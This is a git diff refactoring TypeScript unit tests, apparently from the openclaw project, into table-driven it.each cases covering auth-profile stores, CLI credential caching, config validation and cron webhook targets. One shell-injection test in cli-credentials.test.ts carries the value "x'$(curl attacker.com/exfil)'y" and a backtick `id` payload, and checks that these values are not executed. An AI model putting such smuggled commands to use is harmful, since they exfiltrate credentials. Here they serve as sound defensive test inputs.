diff --git a/src/agents/auth-profiles.ensureauthprofilestore.test.ts b/src/agents/auth-profiles.ensureauthprofilestore.test.ts index 10655a9f502..427488b48f3 100644 --- a/src/agents/auth-profiles.ensureauthprofilestore.test.ts +++ b/src/agents/auth-profiles.ensureauthprofilestore.test.ts @@ -6,6 +6,15 @@ import { ensureAuthProfileStore } from "./auth-profiles.js"; import { AUTH_STORE_VERSION, log } from "./auth-profiles/constants.js"; describe("ensureAuthProfileStore", () => { + function withTempAgentDir(prefix: string, run: (agentDir: string) => T): T { + const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix)); + try { + return run(agentDir); + } finally { + fs.rmSync(agentDir, { recursive: true, force: true }); + } + } + it("migrates legacy auth.json and deletes it (PR #368)", () => { const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-profiles-")); try { @@ -123,67 +132,65 @@ describe("ensureAuthProfileStore", () => { } }); - it("normalizes auth-profiles credential aliases with canonical-field precedence", () => { - const cases = [ - { - name: "mode/apiKey aliases map to type/key", - profile: { - provider: "anthropic", - mode: "api_key", - apiKey: "sk-ant-alias", // pragma: allowlist secret - }, - expected: { - type: "api_key", - key: "sk-ant-alias", - }, + it.each([ + { + name: "mode/apiKey aliases map to type/key", + profile: { + provider: "anthropic", + mode: "api_key", + apiKey: "sk-ant-alias", // pragma: allowlist secret }, - { - name: "canonical type overrides conflicting mode alias", - profile: { - provider: "anthropic", - type: "api_key", - mode: "token", - key: "sk-ant-canonical", - }, - expected: { - type: "api_key", - key: "sk-ant-canonical", - }, + expected: { + type: "api_key", + key: "sk-ant-alias", }, - { - name: "canonical key overrides conflicting apiKey alias", - profile: { - provider: "anthropic", - type: "api_key", - key: "sk-ant-canonical", - apiKey: "sk-ant-alias", // pragma: allowlist secret - }, - expected: { - type: "api_key", - key: "sk-ant-canonical", - }, + }, + { + name: "canonical type overrides conflicting mode alias", + profile: { + provider: "anthropic", + type: "api_key", + mode: "token", + key: "sk-ant-canonical", }, - { - name: "canonical profile shape remains unchanged", - profile: { - provider: "anthropic", - type: "api_key", - key: "sk-ant-direct", - }, - expected: { - type: "api_key", - key: "sk-ant-direct", - }, + expected: { + type: "api_key", + key: "sk-ant-canonical", }, - ] as const; - - for (const testCase of cases) { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-alias-")); - try { + }, + { + name: "canonical key overrides conflicting apiKey alias", + profile: { + provider: "anthropic", + type: "api_key", + key: "sk-ant-canonical", + apiKey: "sk-ant-alias", // pragma: allowlist secret + }, + expected: { + type: "api_key", + key: "sk-ant-canonical", + }, + }, + { + name: "canonical profile shape remains unchanged", + profile: { + provider: "anthropic", + type: "api_key", + key: "sk-ant-direct", + }, + expected: { + type: "api_key", + key: "sk-ant-direct", + }, + }, + ] as const)( + "normalizes auth-profiles credential aliases with canonical-field precedence: $name", + ({ name, profile, expected }) => { + withTempAgentDir("openclaw-auth-alias-", (agentDir) => { const storeData = { version: AUTH_STORE_VERSION, profiles: { - "anthropic:work": testCase.profile, + "anthropic:work": profile, }, }; fs.writeFileSync( @@ -193,16 +200,13 @@ describe("ensureAuthProfileStore", () => { ); const store = ensureAuthProfileStore(agentDir); - expect(store.profiles["anthropic:work"], testCase.name).toMatchObject(testCase.expected); - } finally { - fs.rmSync(agentDir, { recursive: true, force: true }); - } - } - }); + expect(store.profiles["anthropic:work"], name).toMatchObject(expected); + }); + }, + ); it("normalizes mode/apiKey aliases while migrating legacy auth.json", () => { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-legacy-alias-")); - try { + withTempAgentDir("openclaw-auth-legacy-alias-", (agentDir) => { fs.writeFileSync( path.join(agentDir, "auth.json"), `${JSON.stringify( @@ -225,53 +229,51 @@ describe("ensureAuthProfileStore", () => { provider: "anthropic", key: "sk-ant-legacy", }); - } finally { - fs.rmSync(agentDir, { recursive: true, force: true }); - } + }); }); it("logs one warning with aggregated reasons for rejected auth-profiles entries", () => { - const agentDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-auth-invalid-")); const warnSpy = vi.spyOn(log, "warn").mockImplementation(() => undefined); try { - const invalidStore = { - version: AUTH_STORE_VERSION, - profiles: { - "anthropic:missing-type": { - provider: "anthropic", + withTempAgentDir("openclaw-auth-invalid-", (agentDir) => { + const invalidStore = { + version: AUTH_STORE_VERSION, + profiles: { + "anthropic:missing-type": { + provider: "anthropic", + }, + "openai:missing-provider": { + type: "api_key", + key: "sk-openai", + }, + "qwen:not-object": "broken", }, - "openai:missing-provider": { - type: "api_key", - key: "sk-openai", - }, - "qwen:not-object": "broken", - }, - }; - fs.writeFileSync( - path.join(agentDir, "auth-profiles.json"), - `${JSON.stringify(invalidStore, null, 2)}\n`, - "utf8", - ); + }; + fs.writeFileSync( + path.join(agentDir, "auth-profiles.json"), + `${JSON.stringify(invalidStore, null, 2)}\n`, + "utf8", + ); - const store = ensureAuthProfileStore(agentDir); - expect(store.profiles).toEqual({}); - expect(warnSpy).toHaveBeenCalledTimes(1); - expect(warnSpy).toHaveBeenCalledWith( - "ignored invalid auth profile entries during store load", - { - source: "auth-profiles.json", - dropped: 3, - reasons: { - invalid_type: 1, - missing_provider: 1, - non_object: 1, + const store = ensureAuthProfileStore(agentDir); + expect(store.profiles).toEqual({}); + expect(warnSpy).toHaveBeenCalledTimes(1); + expect(warnSpy).toHaveBeenCalledWith( + "ignored invalid auth profile entries during store load", + { + source: "auth-profiles.json", + dropped: 3, + reasons: { + invalid_type: 1, + missing_provider: 1, + non_object: 1, + }, + keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"], }, - keys: ["anthropic:missing-type", "openai:missing-provider", "qwen:not-object"], - }, - ); + ); + }); } finally { warnSpy.mockRestore(); - fs.rmSync(agentDir, { recursive: true, force: true }); } }); }); diff --git a/src/agents/cli-credentials.test.ts b/src/agents/cli-credentials.test.ts index 51f94f4d953..4a5d5a94d8d 100644 --- a/src/agents/cli-credentials.test.ts +++ b/src/agents/cli-credentials.test.ts @@ -53,6 +53,18 @@ function createJwtWithExp(expSeconds: number): string { return `${encode({ alg: "RS256", typ: "JWT" })}.${encode({ exp: expSeconds })}.signature`; } +function mockClaudeCliCredentialRead() { + execSyncMock.mockImplementation(() => + JSON.stringify({ + claudeAiOauth: { + accessToken: `token-${Date.now()}`, + refreshToken: "cached-refresh", + expiresAt: Date.now() + 60_000, + }, + }), + ); +} + describe("cli credentials", () => { beforeAll(async () => { ({ @@ -98,28 +110,27 @@ describe("cli credentials", () => { expect((addCall?.[1] as string[] | undefined) ?? []).toContain("-U"); }); - it("prevents shell injection via untrusted token payload values", async () => { - const cases = [ - { - access: "x'$(curl attacker.com/exfil)'y", - refresh: "safe-refresh", - expectedPayload: "x'$(curl attacker.com/exfil)'y", - }, - { - access: "safe-access", - refresh: "token`id`value", - expectedPayload: "token`id`value", - }, - ] as const; - - for (const testCase of cases) { + it.each([ + { + access: "x'$(curl attacker.com/exfil)'y", + refresh: "safe-refresh", + expectedPayload: "x'$(curl attacker.com/exfil)'y", + }, + { + access: "safe-access", + refresh: "token`id`value", + expectedPayload: "token`id`value", + }, + ] as const)( + "prevents shell injection via untrusted token payload value $expectedPayload", + async ({ access, refresh, expectedPayload }) => { execFileSyncMock.mockClear(); mockExistingClaudeKeychainItem(); const ok = writeClaudeCliKeychainCredentials( { - access: testCase.access, - refresh: testCase.refresh, + access, + refresh, expires: Date.now() + 60_000, }, { execFileSync: execFileSyncMock }, @@ -132,10 +143,10 @@ describe("cli credentials", () => { const args = (addCall?.[1] as string[] | undefined) ?? []; const wIndex = args.indexOf("-w"); const passwordValue = args[wIndex + 1]; - expect(passwordValue).toContain(testCase.expectedPayload); + expect(passwordValue).toContain(expectedPayload); expect(addCall?.[0]).toBe("security"); - } - }); + }, + ); it("falls back to the file store when the keychain update fails", async () => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-")); @@ -189,50 +200,43 @@ describe("cli credentials", () => { expect(updated.claudeAiOauth?.expiresAt).toBeTypeOf("number"); }); - it("caches Claude Code CLI credentials within the TTL window", async () => { - execSyncMock.mockImplementation(() => - JSON.stringify({ - claudeAiOauth: { - accessToken: "cached-access", - refreshToken: "cached-refresh", - expiresAt: Date.now() + 60_000, - }, - }), - ); + it.each([ + { + name: "caches Claude Code CLI credentials within the TTL window", + allowKeychainPromptSecondRead: false, + advanceMs: 0, + expectedCalls: 1, + expectSameObject: true, + }, + { + name: "refreshes Claude Code CLI credentials after the TTL window", + allowKeychainPromptSecondRead: true, + advanceMs: CLI_CREDENTIALS_CACHE_TTL_MS + 1, + expectedCalls: 2, + expectSameObject: false, + }, + ] as const)( + "$name", + async ({ allowKeychainPromptSecondRead, advanceMs, expectedCalls, expectSameObject }) => { + mockClaudeCliCredentialRead(); + vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); - vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); + const first = await readCachedClaudeCliCredentials(true); + if (advanceMs > 0) { + vi.advanceTimersByTime(advanceMs); + } + const second = await readCachedClaudeCliCredentials(allowKeychainPromptSecondRead); - const first = await readCachedClaudeCliCredentials(true); - const second = await readCachedClaudeCliCredentials(false); - - expect(first).toBeTruthy(); - expect(second).toEqual(first); - expect(execSyncMock).toHaveBeenCalledTimes(1); - }); - - it("refreshes Claude Code CLI credentials after the TTL window", async () => { - execSyncMock.mockImplementation(() => - JSON.stringify({ - claudeAiOauth: { - accessToken: `token-${Date.now()}`, - refreshToken: "refresh", - expiresAt: Date.now() + 60_000, - }, - }), - ); - - vi.setSystemTime(new Date("2025-01-01T00:00:00Z")); - - const first = await readCachedClaudeCliCredentials(true); - - vi.advanceTimersByTime(CLI_CREDENTIALS_CACHE_TTL_MS + 1); - - const second = await readCachedClaudeCliCredentials(true); - - expect(first).toBeTruthy(); - expect(second).toBeTruthy(); - expect(execSyncMock).toHaveBeenCalledTimes(2); - }); + expect(first).toBeTruthy(); + expect(second).toBeTruthy(); + if (expectSameObject) { + expect(second).toEqual(first); + } else { + expect(second).not.toEqual(first); + } + expect(execSyncMock).toHaveBeenCalledTimes(expectedCalls); + }, + ); it("reads Codex credentials from keychain when available", async () => { const tempHome = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-codex-")); diff --git a/src/cli/config-set-input.test.ts b/src/cli/config-set-input.test.ts index fd13aaea46b..8ff1595f503 100644 --- a/src/cli/config-set-input.test.ts +++ b/src/cli/config-set-input.test.ts @@ -4,6 +4,17 @@ import path from "node:path"; import { describe, expect, it } from "vitest"; import { parseBatchSource } from "./config-set-input.js"; +function withBatchFile(prefix: string, contents: string, run: (batchPath: string) => T): T { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), prefix)); + const batchPath = path.join(tempDir, "batch.json"); + fs.writeFileSync(batchPath, contents, "utf8"); + try { + return run(batchPath); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } +} + describe("config set input parsing", () => { it("returns null when no batch options are provided", () => { expect(parseBatchSource({})).toBeNull(); @@ -45,69 +56,52 @@ describe("config set input parsing", () => { ]); }); - it("rejects malformed --batch-json payloads", () => { - expect(() => - parseBatchSource({ - batchJson: "{", - }), - ).toThrow("Failed to parse --batch-json:"); - }); - - it("rejects --batch-json payloads that are not arrays", () => { - expect(() => - parseBatchSource({ - batchJson: '{"path":"gateway.auth.mode","value":"token"}', - }), - ).toThrow("--batch-json must be a JSON array."); - }); - - it("rejects batch entries without path", () => { - expect(() => - parseBatchSource({ - batchJson: '[{"value":"token"}]', - }), - ).toThrow("--batch-json[0].path is required."); - }); - - it("rejects batch entries that do not contain exactly one mode key", () => { - expect(() => - parseBatchSource({ - batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]', - }), - ).toThrow("--batch-json[0] must include exactly one of: value, ref, provider."); + it.each([ + { name: "malformed payload", batchJson: "{", message: "Failed to parse --batch-json:" }, + { + name: "non-array payload", + batchJson: '{"path":"gateway.auth.mode","value":"token"}', + message: "--batch-json must be a JSON array.", + }, + { + name: "entry without path", + batchJson: '[{"value":"token"}]', + message: "--batch-json[0].path is required.", + }, + { + name: "entry with multiple mode keys", + batchJson: '[{"path":"gateway.auth.mode","value":"token","provider":{"source":"env"}}]', + message: "--batch-json[0] must include exactly one of: value, ref, provider.", + }, + ] as const)("rejects $name", ({ batchJson, message }) => { + expect(() => parseBatchSource({ batchJson })).toThrow(message); }); it("parses valid --batch-file payloads", () => { - const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-")); - const batchPath = path.join(tempDir, "batch.json"); - fs.writeFileSync(batchPath, '[{"path":"gateway.auth.mode","value":"token"}]', "utf8"); - try { - const parsed = parseBatchSource({ - batchFile: batchPath, - }); - expect(parsed).toEqual([ - { - path: "gateway.auth.mode", - value: "token", - }, - ]); - } finally { - fs.rmSync(tempDir, { recursive: true, force: true }); - } + withBatchFile( + "openclaw-config-set-input-", + '[{"path":"gateway.auth.mode","value":"token"}]', + (batchPath) => { + const parsed = parseBatchSource({ + batchFile: batchPath, + }); + expect(parsed).toEqual([ + { + path: "gateway.auth.mode", + value: "token", + }, + ]); + }, + ); }); it("rejects malformed --batch-file payloads", () => { - const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-config-set-input-invalid-")); - const batchPath = path.join(tempDir, "batch.json"); - fs.writeFileSync(batchPath, "{}", "utf8"); - try { + withBatchFile("openclaw-config-set-input-invalid-", "{}", (batchPath) => { expect(() => parseBatchSource({ batchFile: batchPath, }), ).toThrow("--batch-file must be a JSON array."); - } finally { - fs.rmSync(tempDir, { recursive: true, force: true }); - } + }); }); }); diff --git a/src/cli/log-level-option.test.ts b/src/cli/log-level-option.test.ts index f1a359ecfae..d361a155447 100644 --- a/src/cli/log-level-option.test.ts +++ b/src/cli/log-level-option.test.ts @@ -2,9 +2,11 @@ import { describe, expect, it } from "vitest"; import { parseCliLogLevelOption } from "./log-level-option.js"; describe("parseCliLogLevelOption", () => { - it("accepts allowed log levels", () => { - expect(parseCliLogLevelOption("debug")).toBe("debug"); - expect(parseCliLogLevelOption(" trace ")).toBe("trace"); + it.each([ + ["debug", "debug"], + [" trace ", "trace"], + ] as const)("accepts allowed log level %p", (input, expected) => { + expect(parseCliLogLevelOption(input)).toBe(expected); }); it("rejects invalid log levels", () => { diff --git a/src/cli/nodes-camera.test.ts b/src/cli/nodes-camera.test.ts index b5163c005e5..268f036e4a3 100644 --- a/src/cli/nodes-camera.test.ts +++ b/src/cli/nodes-camera.test.ts @@ -185,51 +185,44 @@ describe("nodes camera helpers", () => { ).rejects.toThrow(/must match node host/i); }); - it("rejects invalid url payload responses", async () => { - const cases: Array<{ - name: string; - url: string; - response?: Response; - expectedMessage: RegExp; - }> = [ - { - name: "non-https url", - url: "http://198.51.100.42/x.bin", - expectedMessage: /only https/i, - }, - { - name: "oversized content-length", - url: "https://198.51.100.42/huge.bin", - response: new Response("tiny", { - status: 200, - headers: { "content-length": String(999_999_999) }, - }), - expectedMessage: /exceeds max/i, - }, - { - name: "non-ok status", - url: "https://198.51.100.42/down.bin", - response: new Response("down", { status: 503, statusText: "Service Unavailable" }), - expectedMessage: /503/i, - }, - { - name: "empty response body", - url: "https://198.51.100.42/empty.bin", - response: new Response(null, { status: 200 }), - expectedMessage: /empty response body/i, - }, - ]; - - for (const testCase of cases) { - if (testCase.response) { - stubFetchResponse(testCase.response); + it.each([ + { + name: "non-https url", + url: "http://198.51.100.42/x.bin", + expectedMessage: /only https/i, + }, + { + name: "oversized content-length", + url: "https://198.51.100.42/huge.bin", + response: new Response("tiny", { + status: 200, + headers: { "content-length": String(999_999_999) }, + }), + expectedMessage: /exceeds max/i, + }, + { + name: "non-ok status", + url: "https://198.51.100.42/down.bin", + response: new Response("down", { status: 503, statusText: "Service Unavailable" }), + expectedMessage: /503/i, + }, + { + name: "empty response body", + url: "https://198.51.100.42/empty.bin", + response: new Response(null, { status: 200 }), + expectedMessage: /empty response body/i, + }, + ] as const)( + "rejects invalid url payload response: $name", + async ({ url, response, expectedMessage }) => { + if (response) { + stubFetchResponse(response); } await expect( - writeUrlToFile("/tmp/ignored", testCase.url, { expectedHost: "198.51.100.42" }), - testCase.name, - ).rejects.toThrow(testCase.expectedMessage); - } - }); + writeUrlToFile("/tmp/ignored", url, { expectedHost: "198.51.100.42" }), + ).rejects.toThrow(expectedMessage); + }, + ); it("removes partially written file when url stream fails", async () => { const stream = new ReadableStream({ diff --git a/src/config/config.allowlist-requires-allowfrom.test.ts b/src/config/config.allowlist-requires-allowfrom.test.ts index 5f1a4749008..9a471bb8514 100644 --- a/src/config/config.allowlist-requires-allowfrom.test.ts +++ b/src/config/config.allowlist-requires-allowfrom.test.ts @@ -1,47 +1,43 @@ import { describe, expect, it } from "vitest"; import { validateConfigObject } from "./config.js"; +function expectChannelAllowlistIssue( + result: ReturnType, + path: string | readonly string[], +) { + expect(result.ok).toBe(false); + if (!result.ok) { + const pathParts = Array.isArray(path) ? path : [path]; + expect( + result.issues.some((issue) => pathParts.every((part) => issue.path.includes(part))), + ).toBe(true); + } +} + describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => { - it('rejects telegram dmPolicy="allowlist" without allowFrom', () => { - const res = validateConfigObject({ - channels: { telegram: { dmPolicy: "allowlist", botToken: "fake" } }, - }); - expect(res.ok).toBe(false); - if (!res.ok) { - expect(res.issues.some((i) => i.path.includes("channels.telegram.allowFrom"))).toBe(true); - } - }); - - it('rejects signal dmPolicy="allowlist" without allowFrom', () => { - const res = validateConfigObject({ - channels: { signal: { dmPolicy: "allowlist" } }, - }); - expect(res.ok).toBe(false); - if (!res.ok) { - expect(res.issues.some((i) => i.path.includes("channels.signal.allowFrom"))).toBe(true); - } - }); - - it('rejects discord dmPolicy="allowlist" without allowFrom', () => { - const res = validateConfigObject({ - channels: { discord: { dmPolicy: "allowlist" } }, - }); - expect(res.ok).toBe(false); - if (!res.ok) { - expect( - res.issues.some((i) => i.path.includes("channels.discord") && i.path.includes("allowFrom")), - ).toBe(true); - } - }); - - it('rejects whatsapp dmPolicy="allowlist" without allowFrom', () => { - const res = validateConfigObject({ - channels: { whatsapp: { dmPolicy: "allowlist" } }, - }); - expect(res.ok).toBe(false); - if (!res.ok) { - expect(res.issues.some((i) => i.path.includes("channels.whatsapp.allowFrom"))).toBe(true); - } + it.each([ + { + name: "telegram", + config: { telegram: { dmPolicy: "allowlist", botToken: "fake" } }, + issuePath: "channels.telegram.allowFrom", + }, + { + name: "signal", + config: { signal: { dmPolicy: "allowlist" } }, + issuePath: "channels.signal.allowFrom", + }, + { + name: "discord", + config: { discord: { dmPolicy: "allowlist" } }, + issuePath: ["channels.discord", "allowFrom"], + }, + { + name: "whatsapp", + config: { whatsapp: { dmPolicy: "allowlist" } }, + issuePath: "channels.whatsapp.allowFrom", + }, + ] as const)('rejects $name dmPolicy="allowlist" without allowFrom', ({ config, issuePath }) => { + expectChannelAllowlistIssue(validateConfigObject({ channels: config }), issuePath); }); it('accepts dmPolicy="pairing" without allowFrom', () => { @@ -53,51 +49,31 @@ describe('dmPolicy="allowlist" requires non-empty effective allowFrom', () => { }); describe('account dmPolicy="allowlist" uses inherited allowFrom', () => { - it("accepts telegram account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + it.each([ + { + name: "telegram", + config: { telegram: { allowFrom: ["12345"], accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } }, }, }, - }); - expect(res.ok).toBe(true); - }); - - it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => { - const res = validateConfigObject({ - channels: { telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } } }, - }); - expect(res.ok).toBe(false); - if (!res.ok) { - expect( - res.issues.some((i) => i.path.includes("channels.telegram.accounts.bot1.allowFrom")), - ).toBe(true); - } - }); - - it("accepts signal account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "signal", + config: { signal: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts discord account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "discord", + config: { discord: { allowFrom: ["123456789"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts slack account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "slack", + config: { slack: { allowFrom: ["U123"], botToken: "xoxb-top", @@ -107,41 +83,43 @@ describe('account dmPolicy="allowlist" uses inherited allowFrom', () => { }, }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts whatsapp account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "whatsapp", + config: { whatsapp: { allowFrom: ["+15550001111"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts imessage account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "imessage", + config: { imessage: { allowFrom: ["alice"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts irc account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } } }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts bluebubbles account allowlist when parent allowFrom exists", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "irc", + config: { + irc: { allowFrom: ["nick"], accounts: { work: { dmPolicy: "allowlist" } } }, + }, + }, + { + name: "bluebubbles", + config: { bluebubbles: { allowFrom: ["sender"], accounts: { work: { dmPolicy: "allowlist" } } }, }, - }); - expect(res.ok).toBe(true); + }, + ] as const)("accepts $name account allowlist when parent allowFrom exists", ({ config }) => { + expect(validateConfigObject({ channels: config }).ok).toBe(true); + }); + + it("rejects telegram account allowlist when neither account nor parent has allowFrom", () => { + expectChannelAllowlistIssue( + validateConfigObject({ + channels: { + telegram: { accounts: { bot1: { dmPolicy: "allowlist", botToken: "fake" } } }, + }, + }), + "channels.telegram.accounts.bot1.allowFrom", + ); }); }); diff --git a/src/config/config.discord-presence.test.ts b/src/config/config.discord-presence.test.ts index f31285a678d..615b41ae43a 100644 --- a/src/config/config.discord-presence.test.ts +++ b/src/config/config.discord-presence.test.ts @@ -2,72 +2,19 @@ import { describe, expect, it } from "vitest"; import { validateConfigObject } from "./config.js"; describe("config discord presence", () => { - it("accepts status-only presence", () => { - const res = validateConfigObject({ - channels: { - discord: { - status: "idle", - }, - }, - }); - - expect(res.ok).toBe(true); - }); - - it("accepts custom activity when type is omitted", () => { - const res = validateConfigObject({ - channels: { - discord: { - activity: "Focus time", - }, - }, - }); - - expect(res.ok).toBe(true); - }); - - it("accepts custom activity type", () => { - const res = validateConfigObject({ - channels: { - discord: { - activity: "Chilling", - activityType: 4, - }, - }, - }); - - expect(res.ok).toBe(true); - }); - - it("rejects streaming activity without url", () => { - const res = validateConfigObject({ - channels: { - discord: { - activity: "Live", - activityType: 1, - }, - }, - }); - - expect(res.ok).toBe(false); - }); - - it("rejects activityUrl without streaming type", () => { - const res = validateConfigObject({ - channels: { - discord: { - activity: "Live", - activityUrl: "https://twitch.tv/openclaw", - }, - }, - }); - - expect(res.ok).toBe(false); - }); - - it("accepts auto presence config", () => { - const res = validateConfigObject({ - channels: { + it.each([ + { name: "status-only presence", config: { discord: { status: "idle" } } }, + { + name: "custom activity when type is omitted", + config: { discord: { activity: "Focus time" } }, + }, + { + name: "custom activity type", + config: { discord: { activity: "Chilling", activityType: 4 } }, + }, + { + name: "auto presence config", + config: { discord: { autoPresence: { enabled: true, @@ -77,14 +24,23 @@ describe("config discord presence", () => { }, }, }, - }); - - expect(res.ok).toBe(true); + }, + ] as const)("accepts $name", ({ config }) => { + expect(validateConfigObject({ channels: config }).ok).toBe(true); }); - it("rejects auto presence min update interval above check interval", () => { - const res = validateConfigObject({ - channels: { + it.each([ + { + name: "streaming activity without url", + config: { discord: { activity: "Live", activityType: 1 } }, + }, + { + name: "activityUrl without streaming type", + config: { discord: { activity: "Live", activityUrl: "https://twitch.tv/openclaw" } }, + }, + { + name: "auto presence min update interval above check interval", + config: { discord: { autoPresence: { enabled: true, @@ -93,8 +49,8 @@ describe("config discord presence", () => { }, }, }, - }); - - expect(res.ok).toBe(false); + }, + ] as const)("rejects $name", ({ config }) => { + expect(validateConfigObject({ channels: config }).ok).toBe(false); }); }); diff --git a/src/config/telegram-webhook-secret.test.ts b/src/config/telegram-webhook-secret.test.ts index 9fab4fe79ef..8127a44cebd 100644 --- a/src/config/telegram-webhook-secret.test.ts +++ b/src/config/telegram-webhook-secret.test.ts @@ -2,28 +2,61 @@ import { describe, expect, it } from "vitest"; import { validateConfigObject } from "./config.js"; describe("Telegram webhook config", () => { - it("accepts webhookUrl when webhookSecret is configured", () => { - const res = validateConfigObject({ - channels: { + it.each([ + { + name: "webhookUrl when webhookSecret is configured", + config: { telegram: { webhookUrl: "https://example.com/telegram-webhook", webhookSecret: "secret", }, }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts webhookUrl when webhookSecret is configured as SecretRef", () => { - const res = validateConfigObject({ - channels: { + }, + { + name: "webhookUrl when webhookSecret is configured as SecretRef", + config: { telegram: { webhookUrl: "https://example.com/telegram-webhook", - webhookSecret: { source: "env", provider: "default", id: "TELEGRAM_WEBHOOK_SECRET" }, + webhookSecret: { + source: "env", + provider: "default", + id: "TELEGRAM_WEBHOOK_SECRET", + }, }, }, - }); - expect(res.ok).toBe(true); + }, + { + name: "account webhookUrl when base webhookSecret is configured", + config: { + telegram: { + webhookSecret: "secret", + accounts: { + ops: { + webhookUrl: "https://example.com/telegram-webhook", + }, + }, + }, + }, + }, + { + name: "account webhookUrl when account webhookSecret is configured as SecretRef", + config: { + telegram: { + accounts: { + ops: { + webhookUrl: "https://example.com/telegram-webhook", + webhookSecret: { + source: "env", + provider: "default", + id: "TELEGRAM_OPS_WEBHOOK_SECRET", + }, + }, + }, + }, + }, + }, + ] as const)("accepts $name", ({ config }) => { + expect(validateConfigObject({ channels: config }).ok).toBe(true); }); it("rejects webhookUrl without webhookSecret", () => { @@ -40,42 +73,6 @@ describe("Telegram webhook config", () => { } }); - it("accepts account webhookUrl when base webhookSecret is configured", () => { - const res = validateConfigObject({ - channels: { - telegram: { - webhookSecret: "secret", - accounts: { - ops: { - webhookUrl: "https://example.com/telegram-webhook", - }, - }, - }, - }, - }); - expect(res.ok).toBe(true); - }); - - it("accepts account webhookUrl when account webhookSecret is configured as SecretRef", () => { - const res = validateConfigObject({ - channels: { - telegram: { - accounts: { - ops: { - webhookUrl: "https://example.com/telegram-webhook", - webhookSecret: { - source: "env", - provider: "default", - id: "TELEGRAM_OPS_WEBHOOK_SECRET", - }, - }, - }, - }, - }, - }); - expect(res.ok).toBe(true); - }); - it("rejects account webhookUrl without webhookSecret", () => { const res = validateConfigObject({ channels: { diff --git a/src/cron/service.jobs.test.ts b/src/cron/service.jobs.test.ts index c514f7528ba..1f4a2a955e1 100644 --- a/src/cron/service.jobs.test.ts +++ b/src/cron/service.jobs.test.ts @@ -214,30 +214,26 @@ describe("applyJobPatch", () => { } }); - it("rejects webhook delivery without a valid http(s) target URL", () => { + it.each([ + { name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch }, + { + name: "blank webhook target", + patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch, + }, + { + name: "non-http protocol", + patch: { + delivery: { mode: "webhook", to: "ftp://example.invalid" }, + } satisfies CronJobPatch, + }, + { + name: "invalid URL", + patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch, + }, + ] as const)("rejects invalid webhook delivery target URL: $name", ({ patch }) => { const expectedError = "cron webhook delivery requires delivery.to to be a valid http(s) URL"; - const cases = [ - { name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch }, - { - name: "blank webhook target", - patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch, - }, - { - name: "non-http protocol", - patch: { - delivery: { mode: "webhook", to: "ftp://example.invalid" }, - } satisfies CronJobPatch, - }, - { - name: "invalid URL", - patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch, - }, - ] as const; - - for (const testCase of cases) { - const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" }); - expect(() => applyJobPatch(job, testCase.patch), testCase.name).toThrow(expectedError); - } + const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" }); + expect(() => applyJobPatch(job, patch)).toThrow(expectedError); }); it("trims webhook delivery target URLs", () => { @@ -309,70 +305,19 @@ describe("applyJobPatch", () => { ); }); - it("accepts Telegram delivery with t.me URL", () => { - const job = createIsolatedAgentTurnJob("job-telegram-tme", { - mode: "announce", - channel: "telegram", - to: "https://t.me/mychannel", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery with t.me URL (no https)", () => { - const job = createIsolatedAgentTurnJob("job-telegram-tme-no-https", { - mode: "announce", - channel: "telegram", - to: "t.me/mychannel", - }); - - expect(() => applyJobPatch(job, { enabled: true })).not.toThrow(); - }); - - it("accepts Telegram delivery with valid target (plain chat id)", () => { + it.each([ + { name: "t.me URL", to: "https://t.me/mychannel" }, + { name: "t.me URL (no https)", to: "t.me/mychannel" }, + { name: "valid target (plain chat id)", to: "-1001234567890" }, + { name: "valid target (colon delimiter)", to: "-1001234567890:123" }, + { name: "valid target (topic marker)", to: "-1001234567890:topic:456" }, + { name: "@username", to: "@mybot" }, + { name: "without target", to: undefined 